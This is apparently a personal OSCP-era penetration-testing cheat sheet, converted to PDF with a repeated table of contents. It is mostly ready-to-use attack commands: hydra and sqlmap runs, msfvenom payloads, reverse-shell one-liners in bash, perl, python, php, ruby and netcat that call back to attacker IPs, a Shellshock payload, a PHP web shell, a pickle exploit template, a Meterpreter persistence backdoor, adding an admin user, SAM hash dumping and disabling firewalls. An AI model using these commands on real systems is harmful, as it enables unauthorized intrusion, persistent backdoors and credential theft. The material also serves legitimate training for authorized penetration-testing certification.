- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

> *Notes essentially from OSCP days*

Methodology

Discover service versions of open ports using nmap or manually. nmap: Use -p- for all ports Also make sure to run a udp scan with: nmap -sU -sV

Go for low hanging fruits by looking up exploits for service versions.

Http site

- nikto -h
- dirbuster / wfuzz
- Burp
- Ensure that you enum all http/s ports
- When searching for exploit search with CVE, service name (try generic when exact is not found)
- For bruteforcing credentials the order is:
  - Default
  - Easy - Try simple passwords such as username, password, admin, previously found pwd etc. when usernames are discovered or with default username. Also try for PE.
  - Cewl
  - wordlist

If you find an MD5 or some other hash - try to crack it quickly

When source or directry listing is available check for credentials for things like DB.

Enum

`netdiscover -r 10.11.1.0/24`

OS `xprobe2 10.11.1.133`

`nmap -sS -A -O -n -p1-65535 192.168.1.13`

- Dirbuster (with long list)
- Hydra https://host
- Use Burp to analyze and edit traffic

SMB (139,445):

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
nbtscan -r 10.11.1.0/24
smbclient -L 10.11.1.31 -U anonymous
smbclient //192.168.25.67/wwwroot -U anonymous
enum4linux -a 10.11.1.5
```

`/root/scripts/nmap-smb.sh 10.11.1.5`

`nmap -p 139,445 --script=vuln 10.11.1.1`

`rpcclient -U "" 10.11.1.1`

SNMP (UDP 161)

```
snmp-check 10.11.1.5
onesixtyone -c community 192.168.186.130
snmpwalk -c public -v1 192.168.186.130
```

SMTP nc to 25 port and then run `VRFY bob`

DNS Zone Transfer

Figure out dns server: `host -t ns foo.org` `host -t mx foo.org` now attempt zone transfer for all the dns servers: `host -l foo.org ns1.foo.org`

complete enumeration `dnsenum foo.org` following will attempt zone transfer `dnsrecon -d megacorpone.com -t axfr`

Vulnerability Scanning `nmap --script all <IP>`

NFS

```
rcpinfo -p <IP>
showmount <IP> -a
mount 10.11.1.10:/sites/webdata ./testing
```

HTTP

`cewl www.megacorpone.com -m 6 -w mega-cewl.txt`

Mangle:

`john --wordlist=mega-cewl.txt --rules --stdout > mega-mangled`

Locate db path:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

`/var/lib/mlocate/mlocate.db`

`hydra -l garry -F -P /usr/share/wordlists/rockyou.txt 10.11.1.73 -s 8080 http-post-form "/php/index.php:tg=login&referer=index.php&login=login&sAuthType=0videntia&nickname=^USER^&password=^PASS^&submit=Login:F=Failed:H=Cookie\: OV3176019645=a4u215fgf3tj8718i0b1rj7ia5"`

-F stop after getting login

http-post-form "<url>:<post data>:F=<fail text:H=<header>"

`hydra -l root -P /root/rockyou.txt 10.11.1.71 ssh`

Misc

SQLMAP

`sqlmap -u http://192.168.1.15:8008/unisxcudkqjydw/vulnbank/client/login.php --method POST --data "username=1&password=pass" -p "username,password" --cookie="PHPSESSID=crp8r4pq35vv0fm1l5td32q922" --dbms=MySQL --text-only --level=5 --risk=2`

- level ranges 1-5 and risk 1-3 (default 1)
- use get parameter to dump all

`sqlmap -u "http://192.168.203.134/imfadministrator/cms.php?pagename=upload" --cookie="PHPSESSID=1im32c1q8b54vr27eussjjp6n2" -p pagename --level=5 --risk=3 -a`

```
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.11.0.235 LPORT=1234 -f elf > reverse.elf
msfvenom -p cmd/unix/reverse_bash  LHOST=192.168.203.130 LPORT=1234 -f raw > shell.sh
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.235 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
```

From https://netsec.ws/?p=331

Linux

`cut -c2-` cut the first 2 characters rev: `cat foo|rev` reverse contents of cat

Python

Rev shell

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
s.connect(('192.168.3.222', 6660))
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()
```

Python eval() and 2.7 read() exploit:

```
__import__("os").system("netstat -antp|nc 192.168.203.130 1234")
```

Deserialization (Pickle) exploit template

```
def create_command(cmd, args, flags):
    template = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
    return template.format(cmd, args, flags)

hack = create_command('ls', '..', '-la')
```

Port knocking

```
for x in 27017 28017; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.11.1.237; done
```

Python script to read from port template

```
#!/usr/bin/env python
import socket

IP = '10.11.1.8'
PORT = 631
MSG = open('a').read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
data = s.recv(1024)
s.send(MSG)
print data1
data2 = s.recv(1024)
print data2
s.close()
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

PHP

Covert LFI to see php code:

`http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00`
`http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=php://filter/convert.base64-encode/resource=../../../../../var/www/image.php%00`

WordPress

`wpscan --url http://192.168.110.181:69 --enumerate u` to enumerate and bruteforce users based on wordlist use: `wpscan -u 10.11.1.234 --wordlist /usr/share/wordlists/rockyou.txt --threads 50`

Samaba Share

```
smbclient -L host
smbclient \\\\zimmerman\\public mypasswd
smbclient //billy/EricsSecretStuff -u anonymous
```

`enum4linux -a 192.168.110.181` will do all sort of enumerations on samba

From http://www.tldp.org/HOWTO/SMB-HOWTO-8.html Crunch to generate wordlist based on options

`crunch 10 10 -t %%%qwerty^ > craven.txt` This creates wordlist with min 10 letters and max 10 letters starting with 3 numbers, then string 'qwerty' then special characters.

Chrome browser user agent: `Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36` Google bot: `User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)`

Find file type based on pattern when 'file' command does not work: http://mark0.net/soft-tridnet-e.html

`find /proc -regex '\/proc\/[0-9]+\/fd\/.*' -type l -lname "*network*" -printf "%p -> %l\n" 2> /dev/null`

MySql supports # for commenting on top of –

Find text recursively in files in this folder

`grep -rnwl '/path/to/somewhere/' -e "pattern"`

wpscan to scan wordpress site for vulns

`wpscan --url https://192.168.1.13:12380/blogblog/ --enumerate uap`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

ShellShock over http when you get response from cgi-bin which have server info only

```
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.11.0.235\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' 2>&1" http://10.11.1.71/cgi-bin/admin.cgi
```

Bruteforce

user fcrackzip to brute force zip

```
cewl http://10.11.1.39/otrs/installer.pl>>cewl
```

mangle with john?

```
sort cewl | uniq >>cewl2
```

Check cert:

```
openssl s_client -connect 10.11.1.35:443
```

Password Cracking

Wordpress password crack - https://github.com/micahflee/phpass_crack - see .251

```
cat /usr/share/wordlists/rockyou.txt | python /root/labs/251/phpass_crack-master/phpass_crack.py pass.txt -v
```

it seems john does a better job at php password cracking when using a wordlist `john --wordlist=/root/rockyou.txt pass.txt`

```
echo gibs@noobcomp.com:$P$BR2C9dzs2au72.4cNZfJPC.iV8Ppj41>pass.txt
```

Encoding

HexToASCII

```
echo -n 666c6167307b7468655f717569657465 |xxd -r -p
```

Convert windows file to linux

```
cat file | dos2unix > file2
```

```
base64 -d
```

PUT to webserver: Use poster Ctrl+Alt+P in Firefox and set url containg file path and chose file and PUT.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

zip all files in this folder `zip -r zipped.zip .`

Covert py to .exe - pyinstaller: `"C:\Program Files\Python27\python.exe" "C:\Program Files\Python27\Scripts\pyinstaller-script.py" code.py`

Rev Shell

> *From http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet*

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

```
bash -i >& /dev/tcp/10.11.0.235/443 0>&1
```

PERL

Here's a shorter, feature-free version of the perl-reverse-shell:

```
perl -e 'use Socket;$i="10.11.0.235";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Python

This was tested under Linux / Python 2.7:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.235",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Windows:

```
"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.235',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"
```

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn't work, try 4, 5, 6...

```
php -r '$sock=fsockopen("10.11.0.235",443);exec("/bin/sh -i <&3 >&3 2>&3");'
```

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don't support the -e option. `nc -e /bin/sh 10.0.0.1 1234` If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]
p.waitFor()
```

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
xterm -display 10.0.0.1:1
```

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): `Xnest :1` You'll need to authorise the target to connect to you (command also run on your host): `xhost +targetip`

PHP web shell

`<pre><?php echo shell_exec($_GET['c']);?></pre/>` In base 64 `PHByZT48P3BocCBlY2hvIHNoZWxsX2V4ZWMoJF9HRVRbJ2MnXSk7Pz48cHJlLz4K`

```
cmd.exe >& /dev/tcp/10.11.0.235/80 0>&1
```

Metasploit

msfconsole

```
set exploit/name #select exploit
set PAYLOAD payload/name # select payload
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
show options #  show options for selected payloads
exploit # to start exploit
show sessions
session -i 2 #interact with session number 2
# Ctrl+Z - send session to background
```

Meterperter

`sysinfo` #display info

```
getuid
getsystem #windows only
```

POST

`meterpereter> use mimikatz`

`help mimikatz`

Msfvenom

```
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.11.0.235 LPORT=1234 –e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f js_le>shell
msfvenom -p windows/shell_bind_tcp  -f exe >labs/31/shell.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.235 LPORT=4444 –e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f js_le >
msfvenom -p windows/shell_reverse__tcp  -f asp LHOST=10.11.0.235 LPORT=443 -o labs/229/shell.asp
```

```
root@kali:~/labs/237/davfs# msfvenom --help-platforms
Platforms
        aix, android, bsd, bsdi, cisco, firefox, freebsd, hpux, irix, java, javascript, linux, mainframe, netbsd, netware, nod

root@kali:~/labs/237/davfs# msfvenom --help-formats
Executable formats
        asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, ms
Transform formats
        bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vb
```

Meterpreter Handler:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
msf> use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
set payload linux/x86/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST <Listening_IP> (for example set LHOST 192.168.5.55)
msf exploit(handler) > set LPORT <Listening_Port> (for example set LPORT 4444)
msf exploit(handler) > exploit -z
```

```
Executable formats (-f)
        asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, ms
Transform formats
        bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vb

Platforms (--platform)
        aix, android, bsd, bsdi, cisco, firefox, freebsd, hpux, irix, java, javascript, linux, mainframe, netbsd, netware, nod

Reverse Shells:
set payload linux/armbe/shell_bind_tcp               set payload linux/ppc64/shell_reverse_tcp            set payload linux/
set payload linux/armle/exec                         set payload linux/x64/exec                           set payload linux/
set payload linux/armle/mettle/bind_tcp              set payload linux/x64/mettle/bind_tcp                set payload linux/
set payload linux/armle/mettle/reverse_tcp           set payload linux/x64/mettle/reverse_tcp             set payload linux/
set payload linux/armle/shell/bind_tcp               set payload linux/x64/shell/bind_tcp                 set payload linux/
set payload linux/armle/shell/reverse_tcp            set payload linux/x64/shell/reverse_tcp              set payload linux/
set payload linux/armle/shell_bind_tcp               set payload linux/x64/shell_bind_tcp                 set payload linux/
set payload linux/armle/shell_reverse_tcp            set payload linux/x64/shell_bind_tcp_random_port     set payload linux/
set payload linux/mipsbe/exec                        set payload linux/x64/shell_reverse_tcp              set payload linux/
set payload linux/mipsbe/mettle/reverse_tcp          set payload linux/x86/chmod                          set payload linux/
set payload linux/mipsbe/reboot                      set payload linux/x86/exec                           set payload linux/
set payload linux/mipsbe/shell/reverse_tcp           set payload linux/x86/meterpreter/bind_ipv6_tcp      set payload linux/
set payload linux/mipsbe/shell_bind_tcp              set payload linux/x86/meterpreter/bind_ipv6_tcp_uuid set payload linux/
set payload linux/mipsbe/shell_reverse_tcp           set payload linux/x86/meterpreter/bind_nonx_tcp      set payload linux/
set payload linux/mipsle/exec                        set payload linux/x86/meterpreter/bind_tcp           set payload linux/
set payload linux/mipsle/mettle/reverse_tcp          set payload linux/x86/meterpreter/bind_tcp_uuid      set payload linux/
set payload linux/mipsle/reboot                      set payload linux/x86/meterpreter/reverse_ipv6_tcp   set payload linux/
set payload linux/mipsle/shell/reverse_tcp           set payload linux/x86/meterpreter/reverse_nonx_tcp   set payload linux/
set payload linux/mipsle/shell_bind_tcp              set payload linux/x86/meterpreter/reverse_tcp        set payload linux/
set payload linux/mipsle/shell_reverse_tcp           set payload linux/x86/meterpreter/reverse_tcp_uuid   set payload linux/
set payload linux/ppc/shell_bind_tcp                 set payload linux/x86/metsvc_bind_tcp                set payload linux/
set payload linux/ppc/shell_reverse_tcp              set payload linux/x86/metsvc_reverse_tcp             set payload linux/
set payload linux/ppc64/shell_bind_tcp               set payload linux/x86/mettle/bind_ipv6_tcp

set payload windows/dllinject/bind_hidden_ipknock_tcp          set payload windows/patchupdllinject/bind_tcp_uuid
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
set payload windows/dllinject/bind_hidden_tcp
set payload windows/dllinject/bind_ipv6_tcp
set payload windows/dllinject/bind_ipv6_tcp_uuid
set payload windows/dllinject/bind_nonx_tcp
set payload windows/dllinject/bind_tcp
set payload windows/dllinject/bind_tcp_rc4
set payload windows/dllinject/bind_tcp_uuid
set payload windows/dllinject/reverse_hop_http
set payload windows/dllinject/reverse_http
set payload windows/dllinject/reverse_http_proxy_pstore
set payload windows/dllinject/reverse_ipv6_tcp
set payload windows/dllinject/reverse_nonx_tcp
set payload windows/dllinject/reverse_ord_tcp
set payload windows/dllinject/reverse_tcp
set payload windows/dllinject/reverse_tcp_allports
set payload windows/dllinject/reverse_tcp_dns
set payload windows/dllinject/reverse_tcp_rc4
set payload windows/dllinject/reverse_tcp_rc4_dns
set payload windows/dllinject/reverse_tcp_uuid
set payload windows/dllinject/reverse_winhttp
set payload windows/dns_txt_query_exec
set payload windows/download_exec
set payload windows/exec
set payload windows/loadlibrary
set payload windows/messagebox
set payload windows/meterpreter/bind_hidden_ipknock_tcp
set payload windows/meterpreter/bind_hidden_tcp
set payload windows/meterpreter/bind_ipv6_tcp
set payload windows/meterpreter/bind_ipv6_tcp_uuid
set payload windows/meterpreter/bind_nonx_tcp
set payload windows/meterpreter/bind_tcp
set payload windows/meterpreter/bind_tcp_rc4
set payload windows/meterpreter/bind_tcp_uuid
set payload windows/meterpreter/reverse_hop_http
set payload windows/meterpreter/reverse_http
set payload windows/meterpreter/reverse_http_proxy_pstore
set payload windows/meterpreter/reverse_https
set payload windows/meterpreter/reverse_https_proxy
set payload windows/meterpreter/reverse_ipv6_tcp
set payload windows/meterpreter/reverse_nonx_tcp
set payload windows/meterpreter/reverse_ord_tcp
set payload windows/meterpreter/reverse_tcp
set payload windows/patchupdllinject/reverse_ipv6_tcp
set payload windows/patchupdllinject/reverse_nonx_tcp
set payload windows/patchupdllinject/reverse_ord_tcp
set payload windows/patchupdllinject/reverse_tcp
set payload windows/patchupdllinject/reverse_tcp_allports
set payload windows/patchupdllinject/reverse_tcp_dns
set payload windows/patchupdllinject/reverse_tcp_rc4
set payload windows/patchupdllinject/reverse_tcp_rc4_dns
set payload windows/patchupdllinject/reverse_tcp_uuid
set payload windows/patchupmeterpreter/bind_hidden_ipknock_tcp
set payload windows/patchupmeterpreter/bind_hidden_tcp
set payload windows/patchupmeterpreter/bind_ipv6_tcp
set payload windows/patchupmeterpreter/bind_ipv6_tcp_uuid
set payload windows/patchupmeterpreter/bind_nonx_tcp
set payload windows/patchupmeterpreter/bind_tcp
set payload windows/patchupmeterpreter/bind_tcp_rc4
set payload windows/patchupmeterpreter/bind_tcp_uuid
set payload windows/patchupmeterpreter/reverse_ipv6_tcp
set payload windows/patchupmeterpreter/reverse_nonx_tcp
set payload windows/patchupmeterpreter/reverse_ord_tcp
set payload windows/patchupmeterpreter/reverse_tcp
set payload windows/patchupmeterpreter/reverse_tcp_allports
set payload windows/patchupmeterpreter/reverse_tcp_dns
set payload windows/patchupmeterpreter/reverse_tcp_rc4
set payload windows/patchupmeterpreter/reverse_tcp_rc4_dns
set payload windows/patchupmeterpreter/reverse_tcp_uuid
set payload windows/powershell_bind_tcp
set payload windows/powershell_reverse_tcp
set payload windows/shell/bind_hidden_ipknock_tcp
set payload windows/shell/bind_hidden_tcp
set payload windows/shell/bind_ipv6_tcp
set payload windows/shell/bind_ipv6_tcp_uuid
set payload windows/shell/bind_nonx_tcp
set payload windows/shell/bind_tcp
set payload windows/shell/bind_tcp_rc4
set payload windows/shell/bind_tcp_uuid
set payload windows/shell/reverse_ipv6_tcp
set payload windows/shell/reverse_nonx_tcp
set payload windows/shell/reverse_ord_tcp
set payload windows/shell/reverse_tcp
set payload windows/shell/reverse_tcp_allports
set payload windows/shell/reverse_tcp_dns
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
set payload windows/meterpreter/reverse_tcp_allports           set payload windows/shell/reverse_tcp_rc4
set payload windows/meterpreter/reverse_tcp_dns                set payload windows/shell/reverse_tcp_rc4_dns
set payload windows/meterpreter/reverse_tcp_rc4                set payload windows/shell/reverse_tcp_uuid
set payload windows/meterpreter/reverse_tcp_rc4_dns            set payload windows/shell_bind_tcp
set payload windows/meterpreter/reverse_tcp_uuid               set payload windows/shell_bind_tcp_xpfw
set payload windows/meterpreter/reverse_winhttp                set payload windows/shell_hidden_bind_tcp
set payload windows/meterpreter/reverse_winhttps               set payload windows/shell_reverse_tcp
set payload windows/meterpreter_bind_tcp                       set payload windows/speak_pwned
set payload windows/meterpreter_reverse_http                   set payload windows/upexec/bind_hidden_ipknock_tcp
set payload windows/meterpreter_reverse_https                  set payload windows/upexec/bind_hidden_tcp
set payload windows/meterpreter_reverse_ipv6_tcp               set payload windows/upexec/bind_ipv6_tcp
set payload windows/meterpreter_reverse_tcp                    set payload windows/upexec/bind_ipv6_tcp_uuid
set payload windows/metsvc_bind_tcp                            set payload windows/upexec/bind_nonx_tcp
set payload windows/metsvc_reverse_tcp                         set payload windows/upexec/bind_tcp
set payload windows/patchupdllinject/bind_hidden_ipknock_tcp   set payload windows/upexec/bind_tcp_rc4
set payload windows/patchupdllinject/bind_hidden_tcp           set payload windows/upexec/bind_tcp_uuid
set payload windows/patchupdllinject/bind_ipv6_tcp             set payload windows/upexec/reverse_ipv6_tcp
set payload windows/patchupdllinject/bind_ipv6_tcp_uuid        set payload windows/upexec/reverse_nonx_tcp
set payload windows/patchupdllinject/bind_nonx_tcp             set payload windows/upexec/reverse_ord_tcp
set payload windows/patchupdllinject/bind_tcp                  set payload windows/upexec/reverse_tcp
set payload windows/patchupdllinject/bind_tcp_rc4              set payload windows/upexec/reverse_tcp_allports

set payload bsd/sparc/shell_bind_tcp         set payload bsd/x64/shell_bind_tcp           set payload bsd/x64/shell_reverse_tc
set payload bsd/sparc/shell_reverse_tcp      set payload bsd/x64/shell_bind_tcp_small     set payload bsd/x86/exec
set payload bsd/x64/exec                     set payload bsd/x64/shell_reverse_ipv6_tcp   set payload bsd/x86/metsvc_bind_tcp
set payload bsd/x64/shell_bind_ipv6_tcp      set payload bsd/x64/shell_reverse_tcp        set payload bsd/x86/metsvc_reverse_t
```

Persistence

`meterpreter > run persistence -h`

Meterpreter Script for creating a persistent backdoor on a target host.

```
OPTIONS:

    -A        Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt>  Alternate executable template to use
    -U        Automatically start the agent when the User logs on
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i <opt>  The interval in seconds between each connection attempt
    -p <opt>  The port on which the system running Metasploit is listening
    -r <opt>  The IP of the system running Metasploit listening for the connect back


meterpreter > run persistence -A -L C:\\ -X -U -i 10 -r 10.11.0.235 -p 4910
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/DJ_20170216.2235/DJ_20170216.2235.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.11.0.235 LPORT=4910
[*] Persistent agent script is 99650 bytes long
[+] Persistent Script written to C:\\pGjIiHMHVx.vbs
[*] Starting connection handler at port 4910 for windows/meterpreter/reverse_tcp
[+] exploit/multi/handler started!
[*] Executing script C:\\pGjIiHMHVx.vbs
[+] Agent executed with PID 1504
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\jsrbPyVQMnmU
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\jsrbPyVQMnmU
```

Windows

```
whoami
net users
systeminfo
net user <bob>
set
echo %USERDOMAIN%/%USERNAME%
```

Run powershell command: `powershell -ExecutionPolicy Bypass -NoLogo -NoProfile -Command "dir"`

Run local smb server to copy files to windows hosts easily:

1. copy files to /root/smb/
2. service smb start
3. copy \10.11.0.235\file.exe . # on windows target

Add user

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
run getgui -u myadmin -p Pass1234
net user myadmin Pass1234 /add
net localgroup Administrators myadmin /add
rdesktop -u myadmin -p Pass1234 10.11.1.218 -g 80%
```

Run as: `psexec -u alice -p alicei123 C:\HFS\shellm80c.exe`

SAM: So the three locations of the SAM\Hashes are:

- %systemroot%\system32\config - c:\Windows\System32\Config\
- %systemroot%\repair (but only if rdisk has been run) - C:\Windows\Repair
- In the registry under HKEY_LOCAL_MACHINE\SAM Use pwdump3 to extract hasches from these and run john:

```
samdump2  system SAM -o hashes.txt
john hashes.txt
```

`nmap -sV --script=rdp-vuln-ms12-020 -p 3389 <target> 10.11.1.5`

`meterpreter > run post/multi/recon/local_exploit_suggester`

Firewall XP `netsh firewall set opmode mode=DISABLE` New: `netsh advfirewall set allprofiles state off`

RDP:

```
run getgui -u myuser -p mypass
